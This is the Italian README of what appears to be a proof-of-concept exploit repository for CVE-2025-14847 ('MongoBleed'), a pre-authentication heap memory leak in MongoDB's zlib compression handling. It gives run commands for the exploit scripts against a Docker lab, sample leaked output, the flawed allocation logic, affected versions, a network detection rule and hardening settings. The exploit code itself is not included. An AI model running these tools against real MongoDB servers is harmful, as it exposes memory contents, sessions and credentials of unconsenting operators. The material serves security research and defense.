
Exploit funzionale proof-of-concept per CVE-2025-14847 (MongoBleed), una vulnerabilità di divulgazione di memoria heap pre-autenticazione in MongoDB. Include rilevamento automatico di memory leak, analisi dei pattern e ambiente di laboratorio basato su Docker per test di sicurezza e ricerca autorizzati.
Prova di Concetto Completa per CVE-2025-14847 (MongoBleed)
Tested: ✅ MongoDB 7.0.5 | 14.300+ Exploit Riusciti | 4 UUID Persi
Questo repository contiene una Prova di Concetto (PoC) completamente funzionante per la vulnerabilità CVE-2025-14847, nota come MongoBleed — un difetto critico di divulgazione di memoria heap pre-autenticazione in MongoDB.
A Dicembre 2025, il gioco Rainbow Six Siege ha subito un attacco massivo che ha compromesso ~50.000 account di giocatori. Il sospetto è che gli aggressori abbiano sfruttato questa vulnerabilità nel MongoDB del backend per perdere:
R6S_SERVER_AUTH_*)TOURNAMENT_ADMIN, DEV_BUILD_WHITELIST)Questa PoC simula l'attacco con dati realistici del R6.
poc.py - Exploit principale con analisi dei patternlive_leaker.py - Scansione incrementale avanzatapopular_heap.py - Script per popolare l'heap con dati target| Metrica | Risultato |
|---|---|
| MongoDB Testato | 7.0.5 (Vulnerabile) |
| Tasso di Successo | 100% (14.300/14.300 richieste) |
| UUID Persi | 4 unici |
| Perdite Totali | 33 stringhe distinte |
| Perdita Maggiore | 176 byte/richiesta |
| Pattern Rilevati | Log di rete, UUID, percorsi di sistema |
246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd
# Clona il repository
git clone CVE-2025-14857-MongoBleed.git
cd MongoDBPoc
# Avvia l'ambiente vulnerabile
docker-compose up -d
# Attendi l'inizializzazione (15-20s)
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"
# 1. Popola l'heap con dati R6
python3 popular_heap.py 50
# 2. Verifica la vulnerabilità
python3 poc.py --target 127.0.0.1 --check
# 3. Sfrutta con live leaker (RACCOMANDATO)
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json
[!] MongoBleed Live Learker Avanzato
[!] Target: 127.0.0.1:27017
[!] Intervallo: doc_len 200 → 3000 (offset=500)
[*] Progresso: doc_len=245/3000 | Tentativi=100 | Tasso successo=100.0%
[!] PATTERN R6 RILEVATI (doc_len=245):
[UUID] 1 nuovo/i:
└─ 246434ed-759b-4ce9-bb9c-2f520a9919b8
MongoDB consente la compressione dei messaggi tramite zlib. La vulnerabilità risiede nella validazione inadeguata della dimensione dichiarata rispetto a quella reale:
Aggressore → {compress: "zlib", uncompressedSize: 1MB, payload: <50 byte>}
↓
Il server alloca 1 MB di heap ← VULNERABILITÀ
↓
Il server decomprime solo 50 byte
↓
Il server restituisce l'intero 1 MB!
└─ 50 byte = dati reali
└─ ~1 MB - 50 = PERDITA DI MEMORIA
// PRIMA DELLA PATCH
size_t uncompressedSize = header.uncompressedSize; // ← Controllato dall'aggressore
buffer = malloc(uncompressedSize); // ← Alloca dimensione malevola
zlib_decompress(compressed, buffer);
send(buffer, uncompressedSize); // ← PERDE L'INTERO BUFFER
MongoDBPoc/
├── poc.py # Exploit principale
├── live_leaker.py # Scansione incrementale (✨ Raccomandato)
├── popular_heap.py # Script di caricamento
├── docker-compose.yml # MongoDB 7.0.5 vulnerabile
├── init-db.js # 1000 giocatori + 500 sessioni R6
├── GUIA_TECNICO_COMPLETO.md # Documentazione dettagliata (200+ pagine)
├── README.MD # Documentazione in inglese
└── Portuguese/ # Versioni tradotte
├── poc_PT.py
├── README_PT.md
└── GUIA_RAPIDO.md
| Serie MongoDB | Versioni Vulnerabili | Versione Corretta |
|---|---|---|
| 8.2.x | 8.2.0 – 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 – 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 – 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 – 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 – 5.0.31 | 5.0.32 |
| 4.4.x | 4.4.0 – 4.4.29 | 4.4.30 |
| ≤ 4.2 | Tutte | Nessuna patch (EOL) |
alert tcp any any -> any 27017 (
msg:"CVE-2025-14847 MongoBleed Attempt";
content:"|d4 07 00 00|";
byte_test:4,>,1000000,4,little;
sid:2025001;
)
net:
bindIp: 127.0.0.1 # MAI 0.0.0.0!
compression:
compressors: [] # Disabilitare zlib
security:
authorization: enabled
GUIA_TECNICO_COMPLETO.md - Analisi tecnica completa (200+ pagine)
README.MD - Documentazione principale (inglese)
Portuguese/ - Versioni tradotte
QUESTO STRUMENTO È SOLO PER TEST AUTORIZZATI E ISTRUZIONE.
L'uso non autorizzato è ILLEGALE e può comportare:
- Procedimenti penali (Legge 12.737/2012 in Brasile)
- Multe pesanti
- Reclusione
Ottenere SEMPRE AUTORIZZAZIONE SCRITTA prima di testare.
Autore: Ermenson Jr
Licenza: MIT (Uso Educativo)
Data: Gennaio 2026